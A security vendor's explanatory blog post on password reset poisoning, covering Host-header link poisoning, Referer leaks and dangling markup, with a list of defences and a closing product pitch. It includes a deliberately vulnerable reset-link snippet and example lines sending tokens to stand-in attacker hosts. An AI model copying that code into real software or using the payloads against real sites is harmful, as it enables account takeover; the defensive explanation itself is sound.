Password reset poisoning: how a genuine email hands over your account

Password reset poisoning: how a genuine email hands over your account

Password reset poisoning is an account takeover technique that never touches the victim’s password and never spoofs an email. The attacker asks the real application to send a real reset email to the real address, but manipulates the request so the link inside that email points at a host the attacker owns. The victim clicks a message that came from a domain they trust, and the reset token walks straight into the attacker’s server log.

The reason this works is that a lot of applications build the reset URL out of the incoming request rather than out of their own configuration. The general mechanics of that mistake are covered in our post on host header injection. This post stays on the reset flow itself: how the token gets out, the three ways it leaks, and what actually closes each one.

What makes this different from ordinary phishing?

The email is genuine. That single fact is what makes this class survive the checks that stop ordinary phishing.

A phishing email has to fake a sender, so it fails SPF, DKIM, or DMARC, or it lands on a lookalike domain that a filter can score. A poisoned reset email fails none of that. It is generated by the application, signed by the application’s mail infrastructure, addressed to the account owner, and delivered to the inbox they expect. The subject line, the branding, and the footer are all real, because the application wrote them. Only the href is wrong, and it is wrong by one hostname.

The only forged byte in a password reset poisoning attack is a hostname in a request header. Everything else, including the email and the token, is produced honestly by the application.

How does the reset link end up on the wrong host?

Because the code that builds the link asks the request where the site lives. Take an invented app, Acme Notes. Its reset mailer looks like this:

# Vulnerable: the origin comes from the request
base = request.headers["X-Forwarded-Host"] or request.headers["Host"]
link = "https://" + base + "/reset?token=" + token
send_email(user.email, link)

Every framework has some version of this helper. It is convenient because one code path then works in local development, staging, and production without a config change. It is also a hole, because Host and every forwarded header are fields the client writes. When the reset form is submitted with a tampered value, the mailer happily builds the link around it, and the victim receives:

https://notes.attacker.example/reset?token=8f21ab...c907

The attacker’s server does not have to do anything clever. It logs the query string, and now holds a valid, unused reset token for an account it does not own. It redeems the token against the real Acme Notes reset endpoint and sets a new password. Some attackers even redirect the victim onward to the genuine reset page afterwards, so the click looks like it worked and nothing feels wrong.

Note that the second header matters as much as the first. Teams often validate Host at the edge and then forget that their framework prefers X-Forwarded-Host when both are present. A request with a clean Host and a hostile X-Forwarded-Host passes the front door check and still poisons the link.

How else can a reset token leak?

Two more paths get the token out without touching the email at all. Both fire after the victim has clicked a completely correct link.

The Referer leak

Once the victim lands on https://acmenotes.example/reset?token=8f21ab...c907, that full URL sits in the browser’s address bar, token included. Every request the page then makes to another origin can carry it. If the reset page loads an analytics script, a font, a chat widget, or a tracking pixel from a third party, the browser attaches a Referer header holding the reset URL. The vendor now has a live token in their logs, and so does anyone who can read those logs.

The same thing happens if the reset page contains any link the user might click, including a support link or a logo that points off site. The token travels in the referrer of that navigation.

The dangling markup leak

If the reset page reflects any attacker influenced value into HTML without escaping it, an unclosed attribute can swallow the rest of the page and ship it off site. The classic shape is an injected fragment that opens a quoted attribute and never closes it:

<img src="https://collector.attacker.example/log?x=

The browser keeps consuming markup looking for the closing quote, and everything up to the next quote in the document becomes part of that URL, including a token printed in a hidden form field or a nearby href. This leaks data on pages where scripts are blocked outright, which is why a strong script policy alone does not cover it. Our post on CSS injection data exfiltration covers the same idea with a different sink: data leaving a page through a channel nobody classified as executable.

How do you prevent password reset poisoning?

Fix the URL construction first, then reduce what a leaked token is worth. The two layers matter independently, because the second one contains the referrer and markup paths that the first one does not touch.

  • Build absolute URLs from server configuration. Store the canonical origin as a setting, for example BASE_URL=https://acmenotes.example, and build every email link and redirect from it. No request header should ever appear in a link the application mails out.
  • Treat Host and every forwarded header as untrusted input. That includes X-Forwarded-Host, X-Host, X-Forwarded-Server, and Forwarded. Strip them at the edge unless they come from a proxy you operate, and set your framework’s trusted host list explicitly.
  • Allowlist the host at the edge. Reject any request whose host is not a known domain with a 400 before application code runs. This gives you one enforcement point instead of relying on every mailer to behave.
  • Make tokens single use, short lived, and bound to one account. Delete or mark the token the instant it is redeemed, expire it in minutes rather than days, and check on redemption that it belongs to the account being changed. A token that dies on first use is worth far less in an attacker’s log.
  • Set a strict referrer policy on reset pages. Send Referrer-Policy: no-referrer on the reset route so no outbound request carries the token bearing URL.
  • Load nothing third party on the reset page. No analytics, no fonts, no widgets, no external images. Keep the page as close to static first party HTML as you can, and add a content security policy that forbids outside origins.
  • Prefer a one time code or a POST body over a token in the query string. A value the user types, or one carried in a request body, never enters the address bar and so never enters a referrer.
  • Invalidate every session after a successful reset. If an attacker did get in, ending all existing sessions and requiring a fresh login limits how long they keep the account.
  • Watch for open redirects on the reset route. A redirect parameter that forwards the token onward reproduces the whole bug with a correct hostname, which is why open redirects deserve attention on authentication paths specifically.

Why does this survive code review?

Because nothing in the reset code looks wrong when you read it in isolation. The token generator uses a good random source. The email template is fine. The redemption endpoint checks expiry. The flaw lives in the gap between two reasonable assumptions: that the request tells the truth about where the site lives, and that a URL in a browser address bar stays private. Neither assumption is written down anywhere, so neither gets reviewed.

Finding it means understanding what the reset flow assumes and then testing those assumptions one at a time, which is exactly the work an autonomous researcher built to probe an application’s assumptions is meant to do rather than firing a fixed payload list at an endpoint. You can read more about that approach on our about page.

Frequently asked questions

What is password reset poisoning?

It is an account takeover technique where an attacker triggers a password reset for a victim and manipulates the request so the link in the email points at a host the attacker controls. The email is genuine, sent by the real application to the real address, so when the victim clicks it the valid reset token is delivered to the attacker.

Why does the reset link end up on the attacker’s domain?

Because the application builds the absolute URL from a request header such as Host, or from a forwarded host header added by a proxy, instead of from server configuration. Those headers are written by the client, so whatever value the attacker sends becomes the base of the link the mailer builds.

Can a reset token leak even when the link is correct?

Yes. If the reset page loads any third party resource, the browser sends the full token bearing URL in the Referer header to that vendor. An unescaped reflection on the same page can also leak it through dangling markup, where an unclosed attribute swallows nearby content into an outbound request.

How do you prevent password reset poisoning?

Build every absolute URL from server side configuration and never from a request header, allowlist the host at the edge, and make tokens single use, short lived, and bound to one account. Then set a strict referrer policy on the reset page, load nothing third party on it, and invalidate all sessions once a reset succeeds.


Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.